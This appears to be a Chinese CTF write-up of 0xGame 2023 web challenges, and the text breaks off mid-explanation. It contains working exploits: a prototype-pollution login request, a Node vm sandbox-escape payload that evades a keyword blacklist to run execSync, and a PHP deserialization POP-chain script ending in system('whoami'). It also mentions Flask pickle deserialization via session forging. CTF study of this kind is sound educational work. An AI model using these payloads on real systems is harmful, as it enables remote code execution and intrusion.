Web CTF 0xGame_2023_web 1azy_fish. 2023-12-01 2023-12-02 0xGame_2023_web_wp 0xGame的web题目质量很高,所以做一做比较有意思的题目,复现一下。
week2 sandbox 将沙盒和原型链污染结合在一起的一道js
给了源代码,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 const crypto = require ('crypto' )const vm = require ('vm' );const express = require ('express' )const session = require ('express-session' )const bodyParser = require ('body-parser' )var app = express ()app.use (bodyParser.json ()) app.use (session ({ secret : crypto.randomBytes (64 ).toString ('hex' ), resave : false , saveUninitialized : true })) var users = {}var admins = {}function merge (target, source ) { for (let key in source) { if (key === '__proto__' ) { continue } if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } return target } function clone (source ) { return merge ({}, source) } function waf (code ) { let blacklist = ['constructor' , 'mainModule' , 'require' , 'child_process' , 'process' , 'exec' , 'execSync' , 'execFile' , 'execFileSync' , 'spawn' , 'spawnSync' , 'fork' ] for (let v of blacklist) { if (code.includes (v)) { throw new Error (v + ' is banned' ) } } } function requireLogin (req, res, next ) { if (!req.session .user ) { res.redirect ('/login' ) } else { next () } } app.use (function (req, res, next ) { for (let key in Object .prototype ) { delete Object .prototype [key] } next () }) app.get ('/' , requireLogin, function (req, res ) { res.sendFile (__dirname + '/public/index.html' ) }) app.get ('/login' , function (req, res ) { res.sendFile (__dirname + '/public/login.html' ) }) app.get ('/register' , function (req, res ) { res.sendFile (__dirname + '/public/register.html' ) }) app.post ('/login' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users && password === users[username]) { req.session .user = username if (username in admins) { req.session .role = 'admin' } else { req.session .role = 'guest' } res.send ({ 'message' : 'login success' }) } else { res.send ({ 'message' : 'login failed' }) } }) app.post ('/register' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users) { res.send ({ 'message' : 'register failed' }) } else { users[username] = password res.send ({ 'message' : 'register success' }) } }) app.get ('/profile' , requireLogin, function (req, res ) { res.send ({ 'user' : req.session .user , 'role' : req.session .role }) }) app.post ('/sandbox' , requireLogin, function (req, res ) { if (req.session .role === 'admin' ) { let code = req.body .code let sandbox = Object .create (null ) let context = vm.createContext (sandbox) try { waf (code) let result = vm.runInContext (code, context) res.send ({ 'result' : result }) } catch (e) { res.send ({ 'result' : e.message }) } } else { res.send ({ 'result' : 'Your role is not admin, so you can not run any code' }) } }) app.get ('/logout' , requireLogin, function (req, res ) { req.session .destroy () res.redirect ('/login' ) }) app.listen (3000 , function ( ) { console .log ('server start listening on :3000' ) })
很显然,在登陆的时候我们需要污染一下admin的值,让我们的账户在其中,使得session中的role设置为admin进入沙盒,为什么是登录的时候污染呢?
这里有一个小tip:
__proto__
可以污染已经存在的值,而__constructor__.__prototype__只能污染不存在的值?
当然在这里都一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /login HTTP/1.1 Host : 192.168.18.129:50024User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/jsonX-Requested-With : XMLHttpRequestContent-Length : 95Origin : http://192.168.18.129:50024Connection : closeReferer : http://192.168.18.129:50024/login{ "username" : "Lazy_fish" , "password" : "admin" , "constructor" : { "prototype" : { "Lazy_fish" : "admin" } } }
我们相当于执行了。
然后直接登录
然后是一些waf和沙箱逃逸
1 2 3 4 5 6 7 let obj = {} obj.__defineGetter__ ('message' , function ( ){ const c = arguments .callee .caller const p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))() return p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('whoami' ).toString (); }) throw obj
实现RCE,得到flag
ez_unserialize 这个也是一个挺有意思的反序列化,用到了php的引用。
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php show_source (__FILE__ );class Cache { public $key ; public $value ; public $expired ; public $helper ; public function __construct ($key , $value , $helper ) { $this ->key = $key ; $this ->value = $value ; $this ->helper = $helper ; $this ->expired = False; } public function __wakeup ( ) { $this ->expired = False; } public function expired ( ) { if ($this ->expired) { $this ->helper->clean ($this ->key); return True; } else { return False; } } } class Storage { public $store ; public function __construct ( ) { $this ->store = array (); } public function __set ($name , $value ) { if (!$this ->store) { $this ->store = array (); } if (!$value ->expired ()) { $this ->store[$name ] = $value ; } } public function __get ($name ) { return $this ->data[$name ]; } } class Helper { public $funcs ; public function __construct ($funcs ) { $this ->funcs = $funcs ; } public function __call ($name , $args ) { $this ->funcs[$name ](...$args ); } } class DataObject { public $storage ; public $data ; public function __destruct ( ) { foreach ($this ->data as $key => $value ) { $this ->storage->$key = $value ; } } } if (isset ($_GET ['u' ])) { unserialize ($_GET ['u' ]); } ?>
大概的pop链子就是
DataObject::__destruct() -> Storage::__set() -> Cache.expired() -> helper::__call();
通过设置引用,让expired()
的值不为0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Cache { public $key ; public $value ; public $expired ; public $helper ; } class Storage { public $store ; } class Helper { public $funcs ; } class DataObject { public $storage ; public $data ; } $helper = new Helper ();$helper ->funcs = array ('clean' => 'system' );$cache1 = new Cache ();$cache1 ->expired = False;$cache2 = new Cache ();$cache2 ->helper = $helper ;$cache2 ->key = 'whoami' ;$storage = new Storage ();$storage ->store = &$cache2 ->expired;$dataObject = new DataObject ();$dataObject ->data = array ('key1' => $cache1 , 'key2' => $cache2 );$dataObject ->storage = $storage ;echo serialize ($dataObject );?>
首先,我们创建了一个名为 dataObject
的对象,并在其 data
属性中放入了两个 Cache
实例:cache1
和 cache2
。其中,cache2
指定了一个 helper
,并将其 key
设置为要执行的命令 whoami
。helper
的 funcs
数组中包含了一个字符串 “system”。
接下来,我们将 storage
的 store
属性设置为 cache2
的 expired
属性的引用。这样,在反序列化时,首先会调用两个 Cache
实例的 __wakeup
方法,将它们各自的 expired
设置为 False
。
然后,调用 dataObject
的 __destruct
方法,进而调用 Storage
的 __set
方法。Storage
首先将 store
(即 cache1
的 expired
属性)初始化为空数组,然后将 cache1
存入其中。
此时,store
不为空,意味着 cache1
的 expired
属性不为空。接下来执行 cache2
的部分。Storage
的 __set
方法调用了 cache2
的 expired
方法,并进入了 if
判断。
由于此时 cache2
的 expired
字段(即上述的 store
)已被设置为一个数组,并且数组中存在 cache1
(非空),因此 if
表达式的结果为 True
。
最后,进入 helper
的 clean
方法,执行了 system('whoami')
,实现了RCE。
week3 notebook 有下面的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask, request, render_template, sessionimport pickleimport uuidimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(2 ).hex () class Note (object ): def __init__ (self, name, content ): self._name = name self._content = content @property def name (self ): return self._name @property def content (self ): return self._content @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/<path:note_id>' , methods=['GET' ] ) def view_note (note_id ): notes = session.get('notes' ) if not notes: return render_template('note.html' , msg='You have no notes' ) note_raw = notes.get(note_id) if not note_raw: return render_template('note.html' , msg='This note does not exist' ) note = pickle.loads(note_raw) return render_template('note.html' , note_id=note_id, note_name=note.name, note_content=note.content) @app.route('/add_note' , methods=['POST' ] ) def add_note (): note_name = request.form.get('note_name' ) note_content = request.form.get('note_content' ) if note_name == '' or note_content == '' : return render_template('index.html' , status='add_failed' , msg='note name or content is empty' ) note_id = str (uuid.uuid4()) note = Note(note_name, note_content) if not session.get('notes' ): session['notes' ] = {} notes = session['notes' ] notes[note_id] = pickle.dumps(note) session['notes' ] = notes return render_template('index.html' , status='add_success' , note_id=note_id) @app.route('/delete_note' , methods=['POST' ] ) def delete_note (): note_id = request.form.get('note_id' ) if not note_id: return render_template('index.html' ) notes = session.get('notes' ) if not notes: return render_template('index.html' , status='delete_failed' , msg='You have no notes' ) if not notes.get(note_id): return render_template('index.html' , status='delete_failed' , msg='This note does not exist' ) del notes[note_id] session['notes' ] = notes return render_template('index.html' , status='delete_success' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 , debug=False )
看到关键代码
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/<path:note_id>' , methods=['GET' ] ) def view_note (note_id ): notes = session.get('notes' ) if not notes: return render_template('note.html' , msg='You have no notes' ) note_raw = notes.get(note_id) if not note_raw: return render_template('note.html' , msg='This note does not exist' ) note = pickle.loads(note_raw) return render_template('note.html' , note_id=note_id, note_name=note.name, note_content=note.content)
其中的pickle.loads
可以反序列化进行RCE,为了让note_raw可控,可以进行session的伪造。
得到Cookie的样式,一眼flask的session